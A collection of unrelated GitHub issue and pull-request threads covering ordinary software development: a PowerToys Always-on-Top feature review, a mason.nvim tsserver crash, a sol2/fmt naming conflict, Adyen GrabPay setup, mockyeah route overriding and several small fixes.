Keystroke: We need a winkey i feel like.  Ctrl-T is too easy for an app to use by default (new tab in a browser for instance).  Looks like Win+Shift+T can't be used at it goes to taskbar.  Ctrl+Shift+T opens last closed tab.

Suggestion: Win+Shift+W   - W is for the window :)   Good for one handed

I think we should add the following settings:

Game mode check on/off
Play sound on/off
Choose custom sound to play (Imo not a prio 0 setting.)

I think Alt+` would be a better hotkey, less programs use Alt as shortcuts
MOD_ALT | MOD_NOREPEAT, VK_OEM_3
Also. when my Task manager, which has always on top enabled, is opened, I would get the failed to order windows msg, which stop the program form working

The frame is working! But still needs some polishing though.
The first attempt of moving the window is laggy yet. And for some apps, e.g. Notepad the frame looks incorrect. For some reason, it's wider.
https://user-images.githubusercontent.com/8949536/144275904-d319665b-7ac9-49b5-9e94-f866c8f8c68d.mp4

Why did you remove the code for window ordering?

I think we should add/provide the following settings:

Game mode check on/off
Play sound on/off
Choose custom sound(s) to play [Imo not a prio 0 setting.]
Change activation shortcut.
Exclude apps list (Maybe there are apps that make problems when OnTop or while setting it's/other windows on top.)
Frame color. (Comment updated: 2021-12-01)

@SeraphimaZ
Can we centralize this list in the pr description?
I think we should have the exclude app list on the initial release because not every app supports game mode.
The frame color adjustment make sense if the contrast to background image isn't enough. But that is imo not a prio 0 setting.

I think the border stuff is going to be quirky but so far, nice!
I have some ideas for Wednesday's sync but this is pretty sweet

@seraphimaz Are you OK with me doing a PR against this branch to add the right image assets (e.g. icon) and the OOBE page?

@SeraphimaZ Are you OK with me doing a PR against this branch to add the right image assets (e.g. icon) and the OOBE page?

Sure! Thank you :)

@SeraphimaZ
Do you know uf this is planned for December release and when we feature-close the December release?

@SeraphimaZ
Do you know if this is planned for December release and when we feature-close the December release?

@htcfreek Yes it's plaaned for the december release
https://github.com/microsoft/PowerToys/issues/15110#issuecomment-999771325

Feedback for the Settings UI:

(Image from @niels9001 PR.)

We should change the sound description. - See the comment on @niels9001 PR.
We should combine Exclude apps and Block on game mode. They are similar and both blocking the feature for apps.

Nice work @SeraphimaZ 😃 🚀
Take a look at this for the window rect shadow: https://stackoverflow.com/questions/34139450/getwindowrect-returns-a-size-including-invisible-borders

@SeraphimaZ
As reminder AoT needs to be added to bugreport tool.

@htcfreek i have that tracked.
@SeraphimaZ  what else is needed here to get this into main

@SeraphimaZ what else is needed here to get this into main

I need to polish window borders rendering and add a preview of the border setting, but it can be added in separate PRs.

Settings doesn't match default.

Just to continue to beat the drum of defaults should be centralized logic else we'll hit this issue again

Should we add unit here?

Nice work @SeraphimaZ 😃 🚀
Take a look at this for the window rect shadow: https://stackoverflow.com/questions/34139450/getwindowrect-returns-a-size-including-invisible-borders

Thanks @davidegiacometti, borders look more accurate :)

Should we add unit here?

I'm not sure if it's worth adding here, but probably we can specify it in the text label Thickness (pixels).

Should we add unit here?

I'm not sure if it's worth adding here, but probably we can specify it in the text label Thickness (pixels).

'Thickness (px)' as the Header property should work :).

What else is needed for this to be in Main?

What else is needed for this to be in Main?

An approval from someone.

With latest changes border thickness looks off. Changing value of thickness results in this:

Border thickness remains the same, it just get some offset from window

after restart it works correctly again :S

after PT restart it works correctly again :S

@stefansjfw thanks, fixed

I still experience issues with borders (after playing with border settings):

Borders from different windows are overlapping while I'm changing thickness

@stefansjfw how did you manage to do the one on the right?

@stefansjfw how did you manage to do the one on the right?

Playing with border settings. Changing color & thickness for few times in a row

@SeraphimaZ
Do we need issues for sound file setting and border preview too? If yes, can you create them?

@SeraphimaZ Do we need issues for sound file setting and border preview too? If yes, can you create them?

Yes, sure!

@SeraphimaZ Do we need issues for sound file setting and border preview too? If yes, can you create them?

Yes, sure!

I don't think a special soundSource setting is really necessary. But users should at least be able to turn the sound off.


Bugfix user.model: skip & limit cast to number

Small fix with Test

Coverage remained the same at 90.066% when pulling 70e2552904bd9c309aeb5958aba81179f78e3b76 on osahner:develop into 3e520a86c0d12c78d69e681fb64f1e598b45e45d on KunalKapadia:develop.

Coverage remained the same at 89.542% when pulling d0487dd845d66867c810ccaa8ec253680eec14eb on osahner:develop into d399e3daf239e3d1c639a5b821ea3bb69664fb1e on KunalKapadia:develop.

Coverage remained the same at 89.542% when pulling 36255bf345d8aad1c56edc47716d65a6d0de8615 on osahner:develop into dc162911d3bc4c317a50a28f73249fbae59836ae on KunalKapadia:develop.

Coverage remained the same at 89.542% when pulling b84b426cff1e9cc5d2864fc2bfe53ae18d44edbc on osahner:develop into 8bc61e2c5dec27014f770059630802aa21d6587c on KunalKapadia:develop.

Are there any problems with this pr? It's just a small fix, even with a Test case.

Limit is unusable without this fix

@osahner Apologise for the delay. Merging now.

@rcaracaus Just FYI, this is merged now.


Music cannot be resumed

After a song is completed, the button doesn't change from 'pause' to 'play'.

Desired behavior = song should stop but play button should be active again. For now, this will satisfy the bug.
Notification of credit received is covered elsewhere.
Open question for later: Should we highlight a "next song" after one completes?


not able to configure tsserver

Problem description
Whenever a tsserver is opened, typescript-language-server is getting crashed with deepmerge package not found.
I tried installing the package myself but the issue persists
Why do you think this is an issue with mason-lspconfig.nvim?
This issue is seen after I've migrated to mason. No issues with nvim-lsp-installer
Neovim version (>= 0.7)
NVIM v0.7.2
Build type: Release
LuaJIT 2.1.0-beta3
Compiled by<EMAIL_ADDRESS>Operating system/version
Darwin ms-MacBook-Air.local 21.6.0 Darwin Kernel Version 21.6.0
I've manually reviewed the Nvim LPS client log (:LspLog) to find potential errors

[X] Yes

I've recently downloaded the latest plugin version of mason.nvim, mason-lspconfig.nvim, and nvim-lspconfig

[x] Yes

Affected language servers
tsserver
Steps to reproduce

Open a typescript file in neovim

Actual behavior
typescript-language-server is not being loaded
Expected behavior
typescript-language-server should be loaded
LspInfo
[START][2022-08-22 18:35:21] LSP logging initiated
[ERROR][2022-08-22 18:35:21] .../vim/lsp/rpc.lua:420	"rpc"	"typescript-language-server"	"stderr"	"node:internal/errors:477\n    ErrorCaptureStackTrace(err);\n    ^\n\nError [ERR_MODULE_NOT_FOUND]: Cannot find package 'deepmerge' imported from /Users/mslalith/.local/share/nvim/mason/packages/typescript-language-server/node_modules/typescript-language-server/lib/configuration-manager.js\n    at new NodeError (node:internal/errors:387:5)\n    at packageResolve (node:internal/modules/esm/resolve:909:9)\n    at moduleResolve (node:internal/modules/esm/resolve:958:20)\n    at defaultResolve (node:internal/modules/esm/resolve:1173:11)\n    at nextResolve (node:internal/modules/esm/loader:173:28)\n    at ESMLoader.resolve (node:internal/modules/esm/loader:852:30)\n    at ESMLoader.getModuleJob (node:internal/modules/esm/loader:439:18)\n    at ModuleWrap.<anonymous> (node:internal/modules/esm/module_job:76:40)\n    at link (node:internal/modules/esm/module_job:75:36) {\n  code: 'ERR_MODULE_NOT_FOUND'\n}\n\nNode.js v18.7.0\n"

LspLog
No response
Healthcheck
mason: require("mason.health").check()
========================================================================
## mason.nvim report
  - OK: neovim version >= 0.7.0
  - WARNING: **Go**: not available
  - OK: **cargo**: `cargo 1.62.1 (a748cf5a3 2022-06-08)`
  - WARNING: **luarocks**: not available
  - OK: **Ruby**: `ruby 2.6.8p205 (2021-07-07 revision 67951) [universal.arm64e-darwin21]`
  - OK: **RubyGem**: `<IP_ADDRESS>`
  - WARNING: **Composer**: not available
  - WARNING: **PHP**: not available
  - OK: **npm**: `8.15.0`
  - OK: **node**: `v18.7.0`
  - OK: **python3**: `Python 3.9.7`
  - OK: **pip3**: `pip 22.0.4 from /Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/pip (python 3.9)`
  - OK: **javac**: `javac 17.0.2`
  - OK: **java**: `openjdk version "17.0.2" 2022-01-18`
  - WARNING: **julia**: not available
  - OK: **wget**: `GNU Wget 1.21.3 built on darwin21.3.0.`
  - OK: **curl**: `curl 7.79.1 (x86_64-apple-darwin21.0) libcurl/7.79.1 (SecureTransport) LibreSSL/3.3.6 zlib/1.2.11 nghttp2/1.45.1`
  - OK: **gzip**: `Apple gzip 353.100.22`
  - OK: **tar**: `bsdtar 3.5.1 - libarchive 3.5.1 zlib/1.2.11 liblzma/5.0.5 bz2lib/1.0.8 `
  - OK: **bash**: `GNU bash, version 3.2.57(1)-release (arm64-apple-darwin21)`
  - OK: **sh**: `Ok`
  - OK: GitHub API rate limit. Used: 1. Remaining: 59. Limit: 60. Reset: Mon Aug 22 19:24:55 2022.

Screenshots or recordings
No response

Hello! Try updating the server, it should be fixed in their latest release (1.1.1)

that resolved my issue, thanks @williamboman

is there any way to notify the server updates?

To check for new versions for all packages (also done by default when opening the window), press C. To check a single package, hover it and press c. For fully automatic upgrades, check https://github.com/WhoIsSethDaniel/mason-tool-installer.nvim
https://asciinema.org/a/7VIdUK9fDNMG111bum5XtdWUq


fix #28

#28
@tbreuss please review this.

Closed in favor for this https://github.com/tbreuss/mithril-by-examples/pull/44.
Thanks anyway.


Enrich documentation with how to load properties with specified type.

In addition, please revise the docs for loadding graphs.

introduce the download module;
otherwise how to load a property graphs (like the outdated readme)
loading variants
add several issues, for contributing the datasets.

Resolved in #1012


file limitation: autohotkey

derived from https://github.com/fireeye/capa-rules/pull/394
implement via #390/#591 capa rule

[ ] add file limitation rule with description


conflict with a symbol in file container_traits.hpp

Good morning,
In the file mentioned in the subject, an error is thrown due to a conflict with the fmt library.
Nowhere in the code, I issue a
using namespace fmt;

and yet the struct below
		struct error_result {
			int results;
			const char* fmt;
			std::array<const char*, 4> args;

			error_result() : results(0), fmt(nullptr) {
			}

			error_result(int results) : results(results), fmt(nullptr) { //error here
			}

			error_result(const char* fmt, const char* msg) : results(0), fmt(fmt) { //error here
				args[0] = msg;
			}
		};

produces the following error
sol/container_traits.hpp:462:33: error: expected identifier before ‘[’ token
    error_result() : results(0), fmt(nullptr) {

Thank you for your assistance.

I have a similar problem, and it seems that there is a conflict with spdlog library... Both use fmt.

This was brought up before. I'm fixing it in my currently bundle of fixes, but if somebody wants they can make a quick patch to change the variable name to save themselves and others the agony.

I fixed my issue... just renamed the fmt to fmt_ because fmt is also a library (fmt/format.h). So I've tried to fix my project to use another instance of the fmt library but didn't manage.
Simple change of the variable name from fmt to fmt_ in sol2 fixed my issue. I made a pull request.

👍


[Android] Selecting picture, taking picture fails

While testing react-native-image-picker/Example on version v0.18.17, the iOS version worked, but the on my Android, Selecting and taking a new picture results in a message "Unfortunately, Gallery has stopped. " Tested on 2 Androids,  A Huawei 330 and a Sony Z3 compact. Selecting a picture that was already in the cameraroll worked

Gallery has stopped

I'm almost sure that it's an issue with the gallery app. Can you past your stack trace to be sure ?

Just put empty options object literal and check result. Pretty sure some option might be responsible for crash.

@oddball Any chance you found a solution? I'm having the exact same issue here...

Can you run the Example project? The Example project works fine for me. I can take a photo and select a photo on a Samsung Galaxy S6 6.0.1

No response, closing.


[Enhancement] Enhance validation for create connector API

From https://github.com/opensearch-project/ml-commons/issues/2986, user found they can create connector with invalid input like a wrong pre_process_function. We should add more validation.

check the mandatory fields in the preprocessing functions.
validate input and output

please assign to me

We can have more validations in few phases like:

Validate if connector payload has all the required fields. If not provided, throw the illegal argument exception

Then for pre-processing or post processing functions, if the LLM service uri is available url, we need to check if we are using the pre-processing function for the same llm service or not. As an example, for "url": "https://${parameters.endpoint}/openai/deployments/${parameters.deploy-name}/embeddings?api-version=${parameters.api-version}" pre-processing function needs to be: "connector.pre_process.openai.embedding", LLM service is openai here, so we need to use the pre-processing function of openai. Same for post processing function.

We can now perform more deeper level check. If we notice in the previous url: the model endpoint is embeddings so we are using the openai.embedding for pre-processing function. Same for post processing function.

We can raise PRs phase by phase accordingly.

A comment from @mingshl  :
Just a following up thoughts, if we can check if the credentials is valid in the create API, that would be even better as a further enhancement coming next. Then we can help user ensure the credentials work before calling the model.


Compile errors in sources

Steps to Reproduce:

do a fresh check out of vscode repo
open it with a fresh VS Code insiders from a fresh user data dir
open a recently changed file such as src/vs/base/browser/formattedTextRenderer.ts

=> 🐛 there is a compile error in line 121
We do seem to be setting the SDK to be the one from node_modules:
https://github.com/microsoft/vscode/blob/ec291c126878742ad640055ce604a58129cd088c/.vscode/settings.json#L75
But it is not being picked up it seems:

//cc @jrieken

Try switching to the workspace version of TS (5.4). There's a memento for which TS version is used in the workspace so just having the setting will not force VS Code to use the workspace version


HDDS-5150 when datanode restart,reload the container data will check the chunksfile

What changes were proposed in this pull request?
when datanode restart,reload the container data will check the chunksfile
What is the link to the Apache JIRA
https://issues.apache.org/jira/projects/HDDS/issues/HDDS-5150?filter=addedrecently
How was this patch tested?

/pending

Looks like this is now covered by #3052


feat: Support dynamic unauthenticated requests

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 100.00%. Comparing base (6ed86c8) to head (241d631).

Additional details and impacted files
@@            Coverage Diff            @@
##              main       #25   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            5         5
  Lines          161       163    +2
=========================================
+ Hits           161       163    +2

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


fix linux webkit2gtk some function deprecated error

when I use desktop-webview-window in manjaro, I meet an error:

Getting same error, hope it gets some attention.


unable to pull wide-ip gtm irules

Greetings
Thanks for the bang-up job on this sdk.  I ve been trying to figure out how to pull irules information from the wideip configuration. This is for inventory purposes.
wideips = mgmt.tm.gtm.wideip.a_s.get_collection()
for wideip in wideips:
print wideip.name <--works
print wideip.enabled <--works
print wideip.poolLbMode <--works
print wideip.rules <--Does not work
can this be added to the sdk?
Also was not able to figure out how to print pool members "elegantly"  is there a sub-collection to get?
Thanks,
Romain

ah...could be that some of your wideip's do not have rules associated? That attribute is missing on those if so. I added a second wideip to my box with no iRule and get error:
>>> wideips = b.tm.gtm.wideips.a_s.get_collection()
>>> for wideip in wideips:
...     print wideip.rules
...
Traceback (most recent call last):
  File "<input>", line 2, in <module>
  File "/Users/rahm/PycharmProjects/f5-common-python/f5/bigip/mixins.py", line 102, in __getattr__
    raise AttributeError(error_message)
AttributeError: '<class 'f5.bigip.tm.gtm.wideip.A'>' object has no attribute 'rules'

But if I check for the attribute before printing it works fine:
>>> for wideip in wideips:
...     print wideip.name
...     if hasattr(wideip, 'rules'):
...         print wideip.rules
...     print "\n\n"
...
test2.gtm.local

test.gtm.local
[u'/Common/gtmtest']

@rduchez closing this issue at it seems @jasonrahm answered your question


Improved and added translation strings

Not sure if some strings are supposed to be translated (e.g. the one about "Neuland"). They seem to be placeholder text or not in their final form ("So geht das nicht"...)

Danke Dir, habe ich gerade eingebaut.


doc: faq.md change flag --peers to --endpoint

doc: faq.md change for --peers to --endpoint
Changing the flag to --endpoint and mentioning that --peers is deprecated.

LGTM
/cc @yichengq

@raoofm It is prefered if you git commit --amend and git push --force to the same PR. It helps to reserve the conversation in the PR.

i tried amend and then push - didn't work, missed out the force on it. Will try next time

@raoofm Appreciate that. Thanks!


CentOS support for local vagrant setup

This PR adds CentOS support for local vagrant setup.
/cc @ymesika @sdake
/assign @hklai @JimmyCYJ

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: hklai
If they are not already assigned, you can assign the PR to them by writing /assign @hklai in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

tests/e2e/local/OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: hklai
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

tests/e2e/local/OWNERS [hklai]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

Sure, @hklai
I have a test environment where is running vagrant and I will create a circle ci job to make sure vagrant scripts will not be easily broken as well.


Fixed weird crash when processing comments

Fixes #70

What's the fix here? I'm unclear on what the changes are doing

When running commands a console, it would get rid of all newlines for some reason. That meant that something like
;comment
(+ 1 2)

wouldn't run.
In addition, the lexer tries to handle comments as well by associating them with a token. But then it crashes when it receives files with no tokens, only comments. Normally, this isn't really an issue, since files with no tokens shouldn't do anything anyway, but when running in the console, the front-end expects a response, otherwise the console freezes up.
So the changes are to:

Stop removing newlines from strings entered in the console.
Don't try to handle comments when lexing code to be executed


Update Python and PHP runtime to 1.8.3 SDK

This update introduces several minor changes:

Improvements to the builtin endpoints tools and packages
The python27 runtime now has access to a CURRENT_MODULE_ID environment variable
Search API improvements
A deprecation of the Backends API (in favor of using services)
A new method for setting instance configuration

https://ocd.appscale.com:8080/job/Daily Build/5481/
https://ocd.appscale.com:8080/job/Tools-test/3722/

@jeanleonov Thanks. Yes, but it didn't take very long since the commits mostly follow the sections of the SDK directory tree.


[METADATA UPDATE][Merge by 2024-08-14] Global ms.service and ms.subservice metadata update

A Pull Request has been made from the Learn Platform's Metadata Management System. Please review and merge this Pull Request within 5 days. If you have any questions or concerns about the purpose of these metadata updates, please contact<EMAIL_ADDRESS>If you are not the correct contact for this content and repository, please notify<EMAIL_ADDRESS>If this Pull Request is not merged within 14 days, it will be automatically merged by our system to ensure the timeliness of the metadata update. This includes bypassing the Repository's Branch Policy, including if Review Required is enabled. Please notify<EMAIL_ADDRESS>if you have questions or concerns or would like Pull Requests for metadata updates to merge automatically in future.
Who initiated this PR?
The Learn Platform and Product (LPP) Site Experience team manages the Learn platform's reporting taxonomies that enable content analytics for OKR reporting and content portfolio management. Reporting taxonomy values populate metadata attributes.
We regularly review reporting taxonomies to ensure they are accurate, useful, and align to current business needs. Updates to reporting taxonomies and associated metadata make reports cleaner, easier to use, and more consistent.
Why are we updating ms.service/ms.subservice metadata?
Objective: Ensure ms.service attribute reliably reflects product affiliation.
Issues: 1. Currently, ms.service taxonomy values mix product and non-product concepts. Non-product concepts represent real reporting needs but aren't strictly about products. 2. Slugs (machine readable identifiers) don't reflect Microsoft branding guidelines. This is leading to inaccurate metadata on content.
Actions: 1. Revise taxonomy structure so "ms.service" represents the name of a branded Microsoft product, product family, or branding terminology. 2. Update slugs to comply with branding guidelines.
Outcome: 1. Establish a baseline for a comprehensive product data model representing all Microsoft offerings. 2. Ensure that report filters driven by ms.service will be based on product. 3. Improved metadata quality.
Why it matters
Efficiency in Content Auditing: Revising the taxonomy structure will enable more precise content audits, fostering repeatable business processes and alleviating the burden of large-scale, one-off audit projects.
Semantic Precision: The ms.service taxonomy will have meaningful, universally understood semantic values.
Consistent Metadata: This work contributes to the accuracy and uniformity of contextual metadata within the Learn Knowledge Base.
RAG Pipeline Efficiency: The Learn Knowledge Service's RAG pipeline will benefit from increased accuracy of product attribution of content.
Frequently Asked Questions
Why does this Pull Request appear to be made by the Repository Owner? We open Pull Requests two different ways.
For Git Repos with a permissioned Service Account, we open the PR from our Document Build Service Account.
For Git Repos that we either do not have Service Account permission for or the repo is in Azure Repos (ADO) we open the Pull Requests in an automated way with the PR creator as the Repo owner.
How can I revert a Pull Request that has been merged and created an unexpected issue? Whether a PR has been merged manually or automatically, you can revert it if an issue arises. See Reverting a pull request - GitHub Docs.

#sign-off


Spike for constraints

This implements extended support for constraint operators, reference implementation on the node SDK is here: https://github.com/Unleash/unleash-client-node/pull/289/files
Note that the client specs have not been rolled forward to cover these cases, since the specs also include cases for custom stickiness, which isn't as of yet implemented in this SDK, this was covered by local testing against the spec

 Rust SDK: add support for new strategy constraint operators


GrabPay component mounting throws an exception

Describe the bug
GrabPay component is not mounting
To Reproduce
Follow the directions here to create a grab pay component - https://docs.adyen.com/payment-methods/grabpay/web-component
checkout.create('grabpay_SG', {
  onSubmit: handleOnSubmit // Optional, only if you want to override the onSubmit defined in your AdyenCheckout instance
}).mount('#grabpay-container');

Exception:
Error: The passed payment method is not a valid Checkout Component

Expected behavior
No errors should result as expected from the docs.
Desktop (please complete the following information):

OS: Mac
Browser: Chrome
Version: 87.0.4280.88

Additional context
adyen-web version:
"@adyen/adyen-web": "^3.20.0",

Hi @geekyme,
Thanks for reaching. Could you double check the paymentMethodsResponse is correctly passed in the main instance (AdyenCheckout constructor)? Also, please check if  grabpay_SG is present in the paymentMethods part of the /paymentMethods response.
This is the relevant part of the docs page:

Pass the full response from the /paymentMethods call as the paymentMethodsResponse object when creating an instance of the AdyenCheckout.

https://docs.adyen.com/payment-methods/grabpay/web-component#show-grabpay-in-your-payment-form
Hope it helps!

Hi @geekyme,
Thanks for reaching. Could you double check the paymentMethodsResponse is correctly passed in the main instance (AdyenCheckout constructor)? Also, please check if  grabpay_SG is present in the paymentMethods part of the /paymentMethods response.
This is the relevant part of the docs page:

Pass the full response from the /paymentMethods call as the paymentMethodsResponse object when creating an instance of the AdyenCheckout.

https://docs.adyen.com/payment-methods/grabpay/web-component#show-grabpay-in-your-payment-form
Hope it helps!

This is the configuration I am passing to new AdyenCheckout(configuration)
{
clientKey: 'xxx'
environment: "test"
locale: "en_SG"
onAdditionalDetails: ƒ handleOnAdditionalDetails()
onChange: ƒ handleOnChange()
paymentMethodsResponse: {
  name: "GrabPay"
  supportsRecurring: true
  type: "grabpay_SG"
}
}

This is the configuration I am passing to new AdyenCheckout(configuration)
{
clientKey: 'xxx'
environment: "test"
locale: "en_SG"
onAdditionalDetails: ƒ handleOnAdditionalDetails()
onChange: ƒ handleOnChange()
paymentMethodsResponse: {
  name: "GrabPay"
  supportsRecurring: true
  type: "grabpay_SG"
}
}

Hi @geekyme,
The value of paymentMethodsResponse seems to be incorrect, the property expects the full response of /paymentMethods. Something like the following:
// ...
paymentMethodsResponse: {
  paymentMethods: [
    {
      name: "GrabPay",
      type: "grabpay_SG"
    }
  ]
}
// ...

Hi @geekyme,
The value of paymentMethodsResponse seems to be incorrect, the property expects the full response of /paymentMethods. Something like the following:
// ...
paymentMethodsResponse: {
  paymentMethods: [
    {
      name: "GrabPay",
      type: "grabpay_SG"
    }
  ]
}
// ...

thanks it works now!

thanks it works now!


Let overwrite behaviour during test run / enable default setups

1.) I have a default test setup with .get(/someRoute/, {json:someResponse1})
2.) alternative test starts
3.) alternative test sets .get(/someRoute/, {json:someResponse2})
4.) test requests /someRoute/
==> mockyeah returns someResponse1
Expected => mockyeah returns someResponse2
Note:
I don't want to run a mockyeah.reset as I have a full workflow I want to test

Hey, @mathume. Are both /someRoute/ end points for the exact same route? e.g.:
// default test
mockyeah.get('/animals', { json: [...] })

// alternative test
mockyeah.get('/animals', { json: [...] })

...if so, you can only bind a single response per unique end point. Are you passing varying params to each? Do you have a concrete example?

Hey @ryanricard
I understand I would need to unregister (given by RouteResolver) any route I previously registered before registering again.
The use case is simple:
a.) Suppose you have an API:
/login => returns a session token or 401
/details => returns user details, e.g. username "Fred"
b.) I have a default setup
post(/login/, {json:'{"token": "abc-def"}'});
post(/details/, {json:'{"username":"Fred"}'});
c.) I run a test, check username==Fred => test passes
d.) in another test I want the username to be "Pete" BUT I don't want to define the setup b.) again, only "overwrite" the response post(/details/, {json:'{"username":"Pete"}'}); and test that new value after calling the API.
AT:
Background: mockyeah has a default setup
Given there's an api that opens a user session success fully at /login
And the same api gives me details at /details where my username is "Fred"
Scenario: I want a single test to use the username "Pete"
Given background has been set up
When I set the mockyeah to return "Pete" at /details
Then my test is run with "Pete" instead of "Fred"
A good thing would be to have the following code:
var detailsPath = /details/;
var detailsResponse1 = {username:"Fred"}
mockyeah.get(detailsPath, {json:JSON.stringify(detailsResponse1)});
it('should return an overwritten value', function(){
mockyeah.unregister_get(detailsPath);
var detailsResponse2 = {username:"Pete"}
mockyeah.get(detailsPath, {json:JSON.stringify(detailsResponse2)});
expect(responseFrom("/details")).to.eventually.have.property("username").equal.to("Pete");
}
...or just remove any routes for path detailsPath when calling mockyeah.get before delegating to the RouteResolver.register
Not sure I've explained well :-/

In this instance, if I am understanding you correctly, /login remains unchanged so you don't want to have to re-register it with each test. You simply want to swap the response for a specific route, in this case /details.
Given your use case, I would take the approach below. But I can see the need/want to replace a specific route response; and I can see you expecting .get('/details', {...}) to overwrite the previous route. Unfortunately, this is not how it is currently implemented. The second .get() registers an Express route which is never reached because a route higher in the routing precedence order is matched, therefor it is never reached because the previous route responds. I think this is an issue we should solve. Good catch!
describe('User details', function() {
  beforeEach(() => {
    mockyeah.get('/login', { json: {
      token: 'abc'
    }});
  });

  afterEach(() => mockyeah.reset());

  test('first test', function() {
    mockyeah.get('/details', { json: {
      username: 'Fred'
    }});
    ...
  });

  test('second test', function() {
    mockyeah.get('/details', { json: {
      username: 'Pete'
    }});
    ...
  });
});

Hi, please check out my pull request. Not sure you'd like it. #21

Closed with #22

@mathume fix available with mockyeah version v0.15.0

Great!!! Just saw it on npm. Just what I need!!!
El lun., 31 oct. 2016 22:22, Ryan Ricard<EMAIL_ADDRESS>escribió:

@mathume https://github.com/mathume fix available with mockyeah version v0.15.0
https://github.com/ryanricard/mockyeah/tree/v0.15.0
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/ryanricard/mockyeah/issues/20#issuecomment-257424407,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABqUIEtjJ932dHox3m0KB2H65Zjstcbwks5q5lwEgaJpZM4KlONE
.

@mathume, awesome. Glad to hear.


Bump Hypothesis to 6.21.1

Resolves #159, as Hypothesis now doesn't pass int-shapes to xp.full(), which doesn't work with PyTorch.
Some other issues with the signature tests now, will explore.

Merging as trivial change that's nice to get in.


Stratio Ingestion does not sent data by Kafka Sink

I have downloaded the Stratio Ingestion docker stratio/ingestion and I have tried configure for Stratio Kafka Sink.
When I run the kafka consumer, in other docker with kafka_2.8.0-<IP_ADDRESS>, it's consuming each message sent by Stratio Ingestion but show {} for each one.

If I configure file_roll, it's writing all messages successfully
If I configure Flume Kafka Sink, kafka consumer is consuming and showing all messages successfully

How did you set up your flume agent? Paste your flume-conf.properties and explain what you want to do (or approx.).

I think that you didn't configure writeBody field.  We usually work with event headers so default behavior is build a json of headers.  If you want to write body you have to configure
agent.sink.kafkaSink.writeBody = true


added example page for TouchableWithoutFeedback

Added example page for TouchableWithoutFeedback
Why
Resolves #257
What
Added a new page with example use cases and a select option for the page in the sidebar
Screenshots

Second screenshot of examples:


native support for screen (and tmux?)

It seems like a pretty common use case to want to run mkcloud inside screen.  I guess there are a few reasons, e.g.

mkcloud runs generally take a long time, so this protects against network outages
mkcloud runs generate a lot of output, and screen/tmux can capture output in the scroll-back buffer or even in a log file (although #1191 could take care of that separately)
It's useful to be able to live-collaborate with others on a cloud.
mkcloud currently needs to run in a dedicated directory (see #224), so this helps keep separation between multiple clouds on the same machine.

We could either write a wrapper around mkcloud which supports creation of a new screen session for the cloud and reuse of any existing session, or we could add native support for this directly into mkcloud itself. For example:

Check if already running inside screen; if so, carry on as normal.
Not running inside screen, so check if there is an existing screen session for this cloud. If so, join the session and re-run via exec $0 "$@" or similar.
If there is no screen session, create one and re-run the script as in step 2.

A similar approach could be used for tmux.
Is this worth doing?  @vuntz This arose from looking at /root/manual.vuntz/start-screen.sh etc. on mkcloud1.
/cc @jdsn @bmwiedemann
One remaining question is how to handle non-interactive invocations, e.g. if you were batch-starting 10 new clouds in parallel.

We could either write a wrapper around ... or we could add native support ...

I am not sure if its worth the effort. Its a nice idea indeed.
But how many of use need this and how often?
I need it once after an mkcloud host booted. Not sure about other peoples use cases.
Adding such a feature should be doable, but I guess we have other more pressing issues to address.

One remaining question is how to handle non-interactive invocations, e.g. if you were batch-starting 10 new clouds in parallel.

Please, can you give us some of such machines ...

But how many of use need this and how often?

Answering that question is the whole point of writing use cases, so you could look through the use cases I helpfully suggested and decide for yourself ;-)  Probably the most important one is protecting against network outages, which explains why you don't personally feel the urgency, because you're not a remote worker.

Please, can you give us some of such machines ...

We already have one; it's called blacher.

Probably the most important one is protecting against network outages,

Well, you might wonder that the first thing I do when running an mkcloud run is to start screen.
I also like to be able to dis- and reonnect. Even we have network outages sometimes.
My point was not to question the use of screen/tmux at all. I just wonder if its worth doing it automatically. The fix is just a screen<Enter> away. For me that currently works and does not slow me down.
So if $somebody provides such a feature I will accept it for sure. I would just not invest time into it right now (just MHO).


HelpText ignoring AutoHelp and AutoVersion settings after successful parsing.

Hello,
i have set AutoHelp = false and AutoVersion = false to parser in our application but HelpText generated after successful ignores it. Still adding "--help" and "--version" options to all verbs. But if i display HelpText after parse error HelpText does not contain theese options.
Thank you for solving this bug.

Depends on your actual code, i guess...
If you use HelpText.AutoBuild method, note that the HelpText instance passed to the delegate/anonymous function specified for the onErrorparameter of the HelpText.AutoBuild method is unfortunately NOT being initialized with the parser settings.
In other words, when using the HelpText.AutoBuild method, the HelpText.AutoHelp and HelpText.AutoVersion properties seem to always default to true regardless of the parser settings. :(
Thus, if you are using HelpText.AutoBuild method, the current solution/workaround is to let your code set the HelpText.AutoHelp and HelpText.AutoVersion properties explicitly.

I just ran into this.
If the parser successfully parses the command line arguments, but you still want to show help, there is no way to get AutoBuild() to use your own customizations.
The onError func, unsurprisingly, only runs on parser errors and this is where you need to do your customization. If you try customize the HelpText returned from AutoBuild(), your customizations are not applied because most of the internal help text construction is done before ToString() is called.


i have some problem with node V0.11.XX

i am run node in v0.11.XX and i use forever to run that.
i exec:  forever start -a -e erro.log -o out.log -l log.log app.js
then the console display:
warn:    --minUptime not set. Defaulting to: 1000ms
warn:    --spinSleepTime not set. Your script will exit if it does not stay up for at least 1000ms
info:    Forever processing file: app.js
forever not return, it still on ---> info:    Forever processing file: app.js  .
not return command line.

I'm experiencing this after upgrading to 0.12.2. It seems my process has spawned and works (forever list shows it running, but forever never returns the command line. It's breaking my deployments because the script gets stuck in the foreground.


Add a Constraint on base_bbl

Base_BBL should be constrained to a number between<PHONE_NUMBER> and<PHONE_NUMBER>.

See for example base_bbl 5175026.  The BIN got copied to the bbl.


Optimize number of calls to CloudBlobStore::findKey()

